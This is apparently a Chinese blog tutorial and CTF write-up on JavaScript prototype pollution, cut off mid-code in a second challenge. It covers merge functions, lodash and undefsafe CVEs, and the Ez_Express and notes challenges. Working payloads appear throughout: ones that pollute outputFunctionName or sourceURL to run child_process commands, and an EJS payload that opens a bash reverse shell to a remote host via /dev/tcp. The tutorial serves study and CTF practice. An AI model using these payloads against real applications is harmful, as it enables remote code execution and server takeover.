javascript原型链污染

GTL-JU Lv3

一、javascript原型链污染

1、proto 和 prototype

关于proto和prototype是javascript中两个重要的属性,我们要想要搞明白javascript的原型链污染,首先要明白proto和prototype。

这里粘一张图,帮助大家更好理解:

image-20230701211126945

prototype

在javascript中关于prototype的解释是:每个js对象一定对应一个原型对象,并从原型对象继承属性和方法,但不是每个对象都有__proto__属性来标识自己所继承的原型,只有函数才有prototype属性。可能这样说不是很好理解,简单来说就是:我们都知道javascript是面向对象的,每个函数都有一个对象,每个对象都有一个prototype属性,这个属性是一个指针,指向我们的原型对象。并且这些对象都会有一个constructor 属性,这个属性指向所关联的构造函数。

下面我们通过两个例子来分析一下prototype属性:

1
2
3
4
5
6
7
function Person(){
this.name = '这里是测试'
}
var person1 =new Person();
console.log(person1.name)
console.log(Person.prototype)
console.log(person1.prototype)

运行结果:

image-20230701204410150

经过测试我们可以看到函数Person的原型是object{constructor:function Person()},但是我们实例化出来的非函数对象person1是没有原型的,这就验证了我们上面说的只有函数才有prototype属性。

prototype原型对象还有一个利用是我们可以使用它实现属性和方法的继承。

具体我们来通过一个示例代码来了解:

1
2
3
4
5
6
7
8
function Person() {
this.name = 'test' //定义一个构造函数Person
}
function Teacher() { } //定义另一个构造函数
Teacher.prototype = new Person() //实现Teacher上面的原型继承Person上面的所有属性。
var obj = new Teacher();//实例化一个Teache对象
console.log(obj.name);//通过我们实例化的Teacher对象调用person函数的属性

image-20230701205641379

我们可以看到我们实例化的Teacher对象成功调用了Person函数的属性,这说明Teache的原型继承了Person函数的属性和方法。

除了这些我们还可以通过prototype来给对象添加属性或函数

example:

1
2
3
4
5
6
7
8
9
10
11
var person1 = new Person("zhangsan");

function Person() { } //这里定义一个构造函数Person
Person.prototype.name = "test";//通过原型添加一个name属性
Person.prototype.say = function () {//通过原型添加一个say方法
console.log("hello");
}
var person = new Person();
console.log(person.name);
person.say();

image-20230701210526848

通过运行结果我们可以看出我们的实例化对象可以正常访问我们添加的属性和方法。

image-20230701210903744

proto

在上面我们讲了prototype,这里我们讲一下proto,proto属性也是javascript中的一个重要属性,但是proto和prototype不同的一点是proto存在与所有对象的属性里面,proto属性是在调用构造函数创建实例对象时产生的,这时因为当一个对象被创建时,这个构造函数将会把它的属性 prototype 赋给新对象的内部属性__proto__,于是这个__proto__被这个实例对象用来查找创建它的构造函数的prototype属性。

这里我通过例子来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Person(){
this.name = "q111";
this.sayName = function () {
console.log(this.name);
};
}
function Test(){}
console.log(Person.__proto__)
console.log(Test.__proto__)
Test.prototype=new Person();
var test=new Test();
console.log(test.__proto__)
console.log(Test.__proto__)

image-20230701212728495

我们可以看到proto无论在那个对象里面都存在,并且我们实例化的对象经过proto会执行其构造函数的原型对象。所有我们总结可得proto是用来将对象与该对象的原型相连。

2、proto和prototype的关系

1
2
3
4
5
6
7
8
9
10
function Person(){
this.name = "q111";
this.sayName = function () {
console.log(this.name);
};
}
var person1=new Person()
console.log(Person.prototype)
console.log(person1.__proto__)

image-20230701213443077

可以看到我们的实例化对象的proto是等于构造函数的原型对象的,所有说proto是指向了构造函数的原型。

3.Function.prototype

每个 JavaScript 函数实际上都是一个 Function 对象。运行 (function(){}).constructor === Function // true 便可以得到这个结论。在我们代码中的构造函数、内置对象都是由 Function 创建的,通过 new 调用可以生成函数对象,比如自己创建的Person构造函数,以及Number、String、Boolean、Object、Error、Array、RegExp、Date、Function等内部对象。

那么这样的话这些函数的proto指向的就是function.prototype,所以说 Fucntion 这个函数的prototype 是所有函数的 proto ,有 call, apply等方法。

1
2
3
4
5
function Person(){}
console.log(Person.__proto__ === Function.prototype)
console.log(Function.prototype.apply.__proto__ === Function.prototype)
console.log(Number.__proto__ === Function.prototype)

image-20230701214500067

用其他师傅博客的图更好的理解:

image-20230701214552500

3、Object.prototype.proto

每个实例对象(object)都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象prototype。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。当查到null就可以停止原型链的搜索。

image-20230701214925747

1
2
3
console.log([].__proto__.__proto__) 
console.log(Array.prototype.__proto__)
console.log(Object.prototype)

image-20230701215104662

同样的,我们上边创建的构造函数 Person,它的 prototype 属性就是有 Object 创建的,所以 Object 将自己的 prototype 属性,扔给了 Person 的原型的 __proto__ 属性。

1
2
3
4
5
function Person(){}

console.log(Person.prototype.__proto__)

console.log(Person.prototype.__proto__ === Object.prototype)

image-20230701215249942

那么到这里我们可能会想function.prototype指向的是什么?

我们这里通过代码来探索:

1
2
console.log(Function.prototype.__proto__)
console.log(Function.prototype.__proto__ === Object.prototype) // true

image-20230701215456715

我们通过运行结果可以看到指向了obiect,那我们可以将fuction(){}看成对象 Object 的实例。那么这里就和上面一样了。

4、什么是原型链

这样层层向上的原型对象我们称为原型链,原型链的最上层是Object.prototype,并且它的原型是null,null表示原型链的终点,意味着它没有继续的原型对象,即没有原型链上的父级对象。这是为了确保原型链的结束,避免无限循环和属性查找的死循环。

image-20230701220419778

这里我们通过一个图更好的理解:

image-20230701213931041

当我们使用原型让一个函数的继承另一个函数的属性和方法,当我们访问实例对象的某个属性时会现在这个对象本身的属性上面寻找如果没有找到,则会通过__proto__ 属性去原型上面找,则会在构造函数的原型的__proto__中去找,这样一层层向上查找就会形成一个作用域链,称为原型链。

具体实现我们通过一个代码示例来理解:

1
2
3
4
5
6
7
8
9
10
11
12
function a() {
this.name='test'
this.sex='男'

}
function b(){
this.name='test1'
}
b.prototype=new a();
var B=new b()
console.log(B.name)
console.log(B.sex)

运行结果:

image-20230701220724568

5、原型链污染

1
2
3
4
5
6
7
8
function F(){

}
var f=new F();
console.log(f.__proto__)
console.log(F.prototype)
console.log(f.__proto__ === F.prototype)

image-20230707140718684

由上面例子我们可以得到实例化对象f.__proto__和F.prototype,是相等的,都是等于object

那么我们修改f.___proto__的值会不会改变F类

我们通过一个代码进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 定义一个基类
class BaseClass {
greet() {
console.log("Hello!");
}
}

// 创建一个实例化对象
const obj = new BaseClass();

// 调用原型对象的方法
obj.greet(); // Hello!

// 修改原型对象的方法
const modifiedProto = {
greet() {
console.log("Oops, prototype pollution!");
}
};

obj.__proto__ = modifiedProto;

// 原型链污染生效
obj.greet(); // Oops, prototype pollution!

image-20230707142415723

可以看到第一次执行greet方法和第二次执行的是不一样的,而且我们并不是直接去修改BaseClass中great的值,而是把obj.___proto__赋了一个新的greet函数内容

我们在这里把修改前后,obj的__proto__打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class BaseClass {
greet() {
console.log("Hello!");
}
}


const obj = new BaseClass();

console.log(obj.__proto__)
const modifiedProto = {
greet() {
console.log("Oops, prototype pollution!");
}
};

obj.__proto__ = modifiedProto;

console.log(obj.__proto__)

image-20230707143201455

我们通过直接修改 obj 对象的 __proto__ 属性,将其设置为另一个对象 modifiedProto,该对象具有重新定义的 greet 方法。这导致了原型链污染,现在 obj 对象调用的 greet 方法变为了被修改后的版本,输出 “Oops, prototype pollution!”。

这里obj在调用greet()方法时回先在自身找属性或者方法,如果找不到就会沿着原型链向上查找,而现在原型链的第一个对象是

modifiedProto,而在这个对象里面就有greet()方法,然后就可以直接调用。

再看一个简单的例子:

1
2
3
4
var a={"name":"xiaoming"}
a.__proto__.name="xiaohong"
var b={}
console.log(b.name)

image-20230707164523200

可以看到我们并没有在b中定义name属性

但是我们污染后可以访问b.name

具体我们通过下面代码看一下:

1
2
3
4
5
6
var a={"name":"xiaoming"}
console.log(a.__proto__)
a.__proto__.name="xiaohong"
console.log(a.__proto__)
var b={}
console.log(b.name)

image-20230707165420320

可以看到我们a.proto.name=”xiaohong”赋值后在object中多了name的属性值,这是因为a.__proto__就是object,那我这行代码就是object中插入了一个name属性

那么我们b.name在自身对象找不到属性时,就会沿着原型链向上查找,到object找到了name属性,然后就会输出。

6、原型链污染的利用(此部分只是以一个复现)

对象merge
1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

我们可以看到在合并的过程中的存在一个

1
target[key] = source[key]

这里是一个赋值操作

那么如果我们这里的这个key是一个__proto__,那我们就可以进行原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = { a: 1, "__proto__": { b: 2 } }
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

image-20230707171113748

但是根据运行结果我们可以看到并没有污染成功

这是因为我们是通过

1
let o2 = { a: 1, "__proto__": { b: 2 } }

这里打一个输出:

image-20230707174238227

可以看到这里输出的键值是[a,b],而不是__proto__,这是我们在遍历键值时__proto__代表o2的原型,而不是一个可以key

那么就无法成功修改object的原型

修改一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function merge(target, source) {
console.log(source)
console.log(target)
for (let key in source) {

if (key in source && key in target) {
console.log(key)
merge(target[key], source[key])
} else {
console.log(key)

target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

运行结果:

image-20230707174625210

image-20230707175128102

重点在这

如果键值在这两个里面都存在就会进入这个if判断

我这里打了输出

image-20230707175530444

那么再去执行就变成了merge([Object: null prototype] {},{b,2})

那么再次执行merge函数

1
target[b] = source[b]=2

上面我们可以看到target=[Object: null prototype] {}

那么就等于再object中插入了一个属性b值为2

1
2
3

o3 = {}
console.log(o3.b)

那我们这里o3在自身找不到属性b的值就会沿着原型链查找,到object会找到b属性的值输出

那么通过上面分析我们可与得到merge存在原型链污染漏洞

至于为什么我们修改代码可与污染成功

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

例题:[GYCTF2020]Ez_Express

访问www.zip下载源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

login.js中存在merg函数

看一下登录页面

image-20230708110353592

点击登录

image-20230708110408662

点击注册

image-20230708110422468

回到源码

继续分析

看一下login和register的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});

先看注册safeKeyword进行检查

看一下safeKeyword函数

1
2
3
4
5
6
7
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

如果匹配到admin,会输出弹窗

1
res.end("<script>alert('forbid word');history.go(-1);</script>") 

没有匹配到则会正常注册登录

看一下login

1
2
3
4
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}

就是要求账号时注册过的

但是题目上面让我们注册admin账号

继续回到register

1
2
3
4
5
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}

当我们注册成功后,会将信息写入session

然后用户名会经过toUpperCase()函数处理

toUpperCase() 是 JavaScript 字符串对象的一个内置方法,用于将字符串中的所有字符转换为大写形式。它不会改变原始字符串,而是返回一个新的字符串

但是toUpperCase函数会把某些特殊的字符解析为相应的字母,例如"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

那么我们就可以通过这个小的函数漏洞去进行绕过注册的限制,我们直接注册admın,那么经过函数处理就会变成admin

image-20230708113158574

成功登录告诉了我们flag的位置

有一个提交框,提交后会跳到action路由

代码分析一下

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

代码很好分析

就是先判断是不是admin用户,如果不是就会弹出admin is asked

如果是则会执行

1
req.session.user.data = clone(req.body);
1
2
3
const clone = (a) => {
return merge({}, a);
}

clone会调用merge函数

那么这里我们就可以进行原型链污染

但是现在的问题是我们要污染什么,污染后能干什么

继续分析代码上面的info路由

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

res.render是 Express.js 框架中用于渲染视图模板的方法。它用于将动态生成的数据和视图模板结合起来,生成最终的 HTML 响应并发送给客户端。我们可以看到这里是将res的outputFunctionName渲染到index,而且这里的outputFunctionName是未定义的

image-20230708115931820

那这里思路就很明显了,我们可以原型链污染给outputFunctionName赋上我们想要执行的命令

然后通过render进行渲染,然后进行ssti,执行命令获取flag

抓包看一下

image-20230708121733690

paylaod:

1
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

或者直接

1
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

先访问action路由进行原型链污染

image-20230708121944730

然后访问info进行ssti,命令执行

image-20230708122013208

然后看其他师傅的文章说还有一种非预期解ejsrce,这里直接贴paylaod了,后门有机会在学习

image-20230708122645960

这里使用了ejs这个模板引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
const express = require('express');
const path = require('path');

const app = express();

app.listen(3000, () => {
console.log('3000端口');
});

//设置ejs:
app.set('view engine', 'ejs'); //设置模板引擎为ejs
app.set('views', [`${path.join(__dirname,'moban')}`, `${path.join(__dirname,'views')}`]); //设置模板文件的存放位置
app.engine('html', require('ejs').__express); //将html文件作为ejs模板文件来解析

这个模板引擎本身是存在原形污染的,可以直接进行rce,且有大把现成的exp….

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/监听端口 0>&1\"');var __tmp2"}}

先访问/action进行原型链污染,再访问/info进行模板渲染,实现RCE

接着post访问api.js就可以反弹shell了

Lodash 模块原型链污染

这里是跟着https://xz.aliyun.com/t/12053#toc-5复现的,这个地方涉及了几个cve

这里就简单分析一下lodash的几个简单的方法,后续有机会了在学习。

lodash.merge 方法造成的原型链污染

lodash.merge作为loadsh中的对象合并插件,可以递归合并sources来源对象自身和继承的可枚举属性到object目标对象,以创建父映射对象

1
merge(object, sources)

这个和我们上面分析的merge是一样的我们直接看源码分析了,

  • node_modules/lodash/merge.js

image-20230709162451992

这是lodash库中merge方法的定义

这里直接调用了baseMerge方法,直接跟进

  • node_modules/lodash/_baseMerge.js

    image-20230709162549818

通过源码我们可以看到在baseFor里面对srcValue有一个筛选,这里会判断他是不是一个对象,所有如果我们要想进入到baseMerage方法,那就要求我们的Merge是一个object

继续跟进

image-20230709162809087

到这我们进入了baseMergeDeep方法

这里将我们上一步传入的srcValue也就是我们merge的对象放进了assignMergeValue方法

继续跟进:

image-20230709163008187

这里对对象的值和对象键名进行了一个筛查,最终进入了baseAssignValue

跟进

image-20230709163153187

可以看到这里对我们的key做了判断,但是我们要进入到object[key]=value才能进行原型链污染操作

所有这里我们要想办法绕过

POC:

1
2
3
prefixPayload = { nickname: "Will1am" };
payload:{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);

最终进入 object[key] = value 的赋值操作。

也就是object[prototype] = {“role”: “admin”}

这样就给原型对象赋值了一个名为role,值为admin的属性

POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
lodash.mergeWith 方法 CVE-2018-16487

这个方法与merge方法不同的是mergeWith还会接受一个参数customizer,如果customizer返回undefined将由合并方法代替

image-20230710092753220

1
2
3
4
object:目标对象
sources:来源对象
srcindex:源对象(source)的索引位置
customizer:这个函数定制合并值

这里以一个小的例子来看:

1
2
3
4
5
6
7
8
9
10
11
12
var mergeWith = createAssigner(function(object, source, srcIndex, customizer) {
baseMerge(object, source, srcIndex, customizer);
});

var obj1 = { a: 1 };
var obj2 = { b: 2 };
var obj3 = { c: 3 };

var mergedObject = mergeWith({}, obj1, obj2, obj3);

console.log(mergedObject); // 输出: { a: 1, b: 2, c: 3 }

这里多出来的参数不好影响我们原型链的利用

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
lodash.set 方法造成的原型链污染
1
set(object, path, value)
  • object:要设置值的对象。
  • path:表示属性路径的字符串,使用.作为层级分隔符。
  • value:要设置的值。

函数将根据路径遍历对象的属性,并将最终的值设置在路径的末端。如果路径中的某些属性不存在,则会创建缺少的属性。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function set(object, path, value) {
if (!object || typeof object !== 'object') {
return;
}

const keys = path.split('.');
let currentObj = object;

for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];

if (!currentObj.hasOwnProperty(key) || typeof currentObj[key] !== 'object') {
currentObj[key] = {};
}

currentObj = currentObj[key];
}

currentObj[keys[keys.length - 1]] = value;
}

const obj = {};

set(obj, 'foo.bar.baz', 42);

console.log(obj); // 输出: { foo: { bar: { baz: 42 } } }

image-20230710094115600

1
2
3
4
5
6
7
var object = { 'a': [{ 'b': { 'c': 3 } }] };
_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4
_.set(object, ['x', '0', 'y', 'z'], 5);
console.log(object.x[0].y.z);
// => 5

分析源码:

image-20230710094300015

这里对object进行了一个判断非空则调用baseSet方法

baseset接受三个参数就是我们上面传进来的修改对象,路径,值

跟进baseset方法

image-20230710094443013

这里先对object进行了判读。判断其是否为对象

然后进入castPath方法

跟进

image-20230710094806832

这里接受两个参数object和value

首先会对values判断是否为空

然后判断给定的值 value 是否是一个对象 object 的键(key),如果是,则返回一个包含该键的数组;如果不是,则会调用stringToPath方法,这里很明显我们调用的不是一个数组

继续跟进

image-20230710095240099

  • memoizeCapped 是一个函数,它用于创建一个带有缓存功能的函数。这里使用 memoizeCapped 来创建了一个具有缓存功能的 stringToPath 函数。
  • stringToPath 函数接受一个字符串参数 string,表示属性路径。
  • result 是一个数组,用于存储转换后的路径。
  • 如果字符串的第一个字符的 ASCII 值等于 46(代表字符 “.”),则将空字符串 '' 添加到 result 数组中。这是为了处理属性路径以 “.” 开头的情况。
  • string.replace(rePropName, function(match, number, quote, subString) { ... }) 使用正则表达式 rePropName 对字符串进行匹配和替换操作。
  • 在每次匹配时,回调函数会被调用。match 表示匹配到的子字符串,number 表示匹配到的数字字符串,quote 表示匹配到的引号,subString 表示匹配到的子字符串(去除引号的部分)。
  • 在回调函数中,根据情况将匹配到的值加入到 result 数组中。如果 quote 存在,说明匹配到的是带引号的子字符串,需要去除转义字符后加入 result 数组;否则,将 number 或者 match 加入 result 数组。
  • 最后,返回 result 数组作为路径数组。

整个 stringToPath 函数的作用是将字符串表示的属性路径转换为路径数组,每个元素表示路径的一部分。例如,对于属性路径字符串 'a.b[0].c',转换后的路径数组为 ['a', 'b', '0', 'c']

那么到这里这个方法就结束了,可以这里对传入的参数并没有进行过滤

那我就可以对他进行原型链污染

这里是贴的大佬的POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

image-20230710095731665

可以看到这里已经污染成功了

lodash.setWith 方法造成的原型链污染

这里类似与上面的set方法,其实这里set和setwith与merge和mergewith的关系是相同的

这里也多了一个customizer参数

image-20230710100104711

setWith 函数接受四个参数:

  • object:要设置值的对象。
  • path:表示属性路径的字符串或路径数组。
  • value:要设置的值。
  • customizer:可选的自定义函数,用于进行设置操作

这里和上面set的污染利用路径和方法差不多,参考上面set方法就行,这里就不在具体分析了

这里直接贴一个大佬的验证POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

image-20230710100329716

这里调试一下结果可能看的更清楚,这里为了方便,直接看最后的结果

这里可以看到是已经污染成功了

配合 lodash.template 实现 RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 HTML会在 “escape” 分隔符中转换为相应实体。 在 “evaluate” 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings 的值

在Lodash中,为了实现代码执行我们通常是污染template中的sourceURL属性

image-20230710102007690

  • sourceURL 变量用于存储最终生成的 sourceURL 字符串。

  • '//# sourceURL=' 是一个字符串,表示 sourceURL 的前缀部分。这是一个特殊的注释语法,用于指定源代码的 URL。

  • ('sourceURL' in options ? options.sourceURL : ('lodash.templateSources[' + (++templateCounter) + ']')) 是一个条件表达式,用于确定 sourceURL 的值。

    • 首先,它检查 options 对象中是否存在 sourceURL 属性。如果存在,则使用该值作为 sourceURL

    • 如果 options 对象中不存在 sourceURL 属性,它将使用 'lodash.templateSources[' + (++templateCounter) + ']' 的形式来生成一个动态的 sourceURL

      • ++templateCounter 是一个计数器,用于生成唯一的模板计数器值。

      • 'lodash.templateSources[' + (++templateCounter) + ']' 生成一个形如 'lodash.templateSources[1]' 的字符串,其中数字部分递增以保证唯一性。

options是一个对象,source.url取到了其options.sourceurl属性,这个属性原本是没有赋值的,默认取空字符串

我们可以通过原型链污染给所有的object对象都插入一个sourcurl属性,最后这个属性被拼接进new Function的第二个参数中也就是sourceurl+return+source

1
2
3
4
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

从而造成任意命令执行

但是在function中没有require函数,所以我们不能直接使用require(‘child_process’)

所以我们这里使用global.process.mainModule.constructor._load代替

1
\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"}
Undefsafe 模块原型链污染(CVE-2019-10795)

Undefsafe 是一个 JavaScript 库,用于安全地访问嵌套对象的属性和方法,以避免在访问时出现 TypeError: Cannot read property 'x' of undefined 错误。但是其在低版本(<2.0.3)中存在原型链污染漏洞

可以利用这个漏洞修改或添加object.prototype属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const undefsafe = require('undefsafe');

const obj = {
foo: {
bar: {
baz: 'Hello, World!'
}
}
};

const value1 = undefsafe(obj, 'foo.bar.baz');
console.log(value1); // 输出: Hello, World!

const value2 = undefsafe(obj, 'foo.bar.qux');
console.log(value2); // 输出: undefined

image-20230710104926974

示例:

1
2
3
4
5
6
7
8
9
10
11
12
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object.a.b.e)
// skysec

image-20230710104958529

由这个两个例子我们可以看到当我们访问存在的属性室友回显

访问不存在的属性不在报错,而是返回undefined

并且在对对象赋值,如果目标属性存在

1
2
3
4
5
6
7
8
9
10
11
12
13
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1, 2, 3],
e: 'skysec'
}
}
};
console.log(object)
a(object,'a.b.e','123')
console.log(object)

image-20230710105451705

当属性存在可以帮我们修改相应属性的值

如果不存在则会帮我们在访问属性上层进行创建并赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1, 2, 3],
e: 'skysec'
}
}
};
console.log(object)
//{ a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
//{ a: { b: { c: 1, d: [Array], e: 'skysec' } ,e:"123"} }

上面的是关于undefsafe的一些特性,下面我详细分析一下undefsafe版本低于2.0.3存在的原型链污染漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

image-20230710113112484

tostring方法是本来就存在的那么我们就等于通过undefsafe去修改成我们想要执行的语句

这样的话,那么当undefsafe()函数的23参数可控的话,我们就可以污染object对象中的值

1
2
3
var a = require("undefsafe");
var test = {}
console.log('this is ' + test)

这里test被当作字符串触发了tostring方法

image-20230710113803314

返回[object Object]

那我们这里就可以使用undefsafe进行原型链污染

1
2
3
4
5
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

我们这里通过undefsafe修改tostring的值,污染原型链

image-20230710113930174

可以看到这里输出了evil,而不是object,这就是因为我们原型链污染导致的,这里把对象当作字符串输出,就会触发tosting方法,但是当前对象没有,就会沿着原型链向上查找同时进行调用,这里输出的tostring的值正是我们上面污染的值。

例题 [网鼎杯 2020 青龙组]notes

题目源码app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

image-20230710114805388

可以看到这个查看和编辑note时会调用undefsafe方法

分析一下路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
